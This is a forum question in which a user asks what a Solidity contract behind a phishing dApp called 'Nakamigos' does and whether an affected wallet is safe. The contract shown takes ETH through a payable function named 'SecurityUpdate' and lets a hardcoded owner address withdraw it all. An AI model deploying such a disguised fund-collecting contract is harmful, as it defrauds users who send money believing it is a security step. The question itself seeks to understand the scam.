I have come across a dAPP using this contract on twitter and was wondering what it did. Does it send all the user's funds once he accepts the transaction or does it directly hack the wallet, and every time the user sends funds to that account they get automatically withdrawn? The phishing project is called Nakamigos and this is its contract.
pragma solidity ^0.4.26;
contract SecurityUpdates {
address private owner;
constructor() public{
owner=0x649bE2b67628FFa5DBa71028828a1e899164D27a;
}
function getOwner(
) public view returns (address) {
return owner;
}
function withdraw() public {
require(owner == msg.sender);
msg.sender.transfer(address(this).balance);
}
function SecurityUpdate() public payable {
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
I just want to know what this contract does. How dangerous is it? If a wallet has accepted a tx with this smart contract, is the wallet safe to use after this?